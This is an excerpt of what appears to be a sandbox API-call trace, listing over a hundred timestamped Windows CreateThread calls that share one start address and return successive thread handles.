	[0212.214] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac
	[0212.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b0
	[0212.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b4
	[0212.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0148, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b8
	[0212.622] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0150, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bc
	[0212.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0158, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c0
	[0212.625] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c4
	[0212.627] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c8
	[0212.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cc
	[0212.631] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0178, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d0
	[0212.633] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d4
	[0212.636] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0188, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d8
	[0212.638] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dc
	[0212.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0198, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e0
	[0212.642] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef01a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e4
	[0212.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef01a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e8
	[0212.649] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef01b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ec
	[0212.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef01b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f0
	[0213.044] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef01c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fc
	[0213.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef01c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x200
	[0213.048] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef01d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x204
	[0213.050] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef01d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x208
	[0213.052] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef01e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20c
	[0213.055] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef01e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x210
	[0213.057] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef01f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x214
	[0213.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef01f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x218
	[0213.062] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21c
	[0213.065] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0208, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x220
	[0213.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x224
	[0213.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0218, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x228
	[0213.072] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22c
	[0213.074] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0228, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x230
	[0213.075] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x234
	[0213.513] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0238, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x238
	[0213.515] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23c
	[0213.518] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x240
	[0213.520] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x244
	[0213.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0258, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x248
	[0213.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24c
	[0213.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0268, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x250
	[0213.528] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x254
	[0213.529] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0278, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258
	[0213.531] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c
	[0213.533] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260
	[0213.535] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264
	[0213.536] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0298, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x268
	[0213.538] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef02a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26c
	[0213.541] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef02a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270
	[0213.542] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef02b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x274
	[0213.544] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef02b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x278
	[0213.545] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef02c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27c
	[0213.547] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef02c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x280
	[0215.406] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef02d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c
	[0215.408] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef02d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290
	[0215.410] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef02e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294
	[0215.412] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef02e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x298
	[0215.414] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef02f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29c
	[0215.417] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef02f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a0
	[0215.419] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a4
	[0215.421] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0308, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8
	[0215.424] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac
	[0215.426] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0318, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b0
	[0215.428] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b4
	[0215.430] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b8
	[0215.432] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bc
	[0215.434] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0338, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c0
	[0215.436] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c4
	[0215.438] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0348, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c8
	[0215.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc
	[0215.939] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0358, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d0
	[0215.941] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d4
	[0215.943] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0368, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d8
	[0215.945] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc
	[0215.947] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0378, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e0
	[0215.949] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e4
	[0215.950] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0388, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e8
	[0215.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ec
	[0215.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0398, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f0
	[0215.956] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef03a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f4
	[0215.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef03a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f8
	[0215.959] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef03b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2fc
	[0215.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef03b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x300
	[0215.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef03c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x304
	[0215.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef03c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x308
	[0215.966] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef03d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x30c
	[0215.968] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef03d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x310
	[0215.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef03e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x314
	[0215.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef03e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x318
	[0216.472] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef03f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x320
	[0216.474] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef03f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x324
	[0216.476] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x328
	[0216.478] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0408, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x32c
	[0216.479] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x330
	[0216.481] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0418, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x334
	[0216.483] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0420, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x338
	[0216.485] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x33c
	[0216.486] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x340
	[0216.488] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0438, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x344
	[0216.489] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x348
	[0216.491] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0448, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x34c
	[0216.494] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x350
	[0216.496] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x354
	[0216.498] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x358
	[0216.500] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0468, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x35c
	[0216.503] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x360
	[0216.505] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x364
	[0216.507] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x368
	[0217.104] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x36c
	[0217.106] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x370
	[0217.108] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0498, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x374
	[0217.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef04a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x378
	[0217.112] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef04a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x37c
	[0217.114] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef04b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x380
	[0217.116] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef04b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x384
	[0217.118] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef04c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x388
	[0217.120] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef04c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x38c
	[0217.123] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef04d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x390
	[0217.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef04d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x394
	[0217.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef04e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x398
	[0217.127] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef04e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x39c
	[0217.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef04f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a0
	[0217.131] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef04f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a4
	[0217.133] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a8
	[0217.134] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0508, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ac
	[0217.137] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0
	[0217.138] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0518, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b4
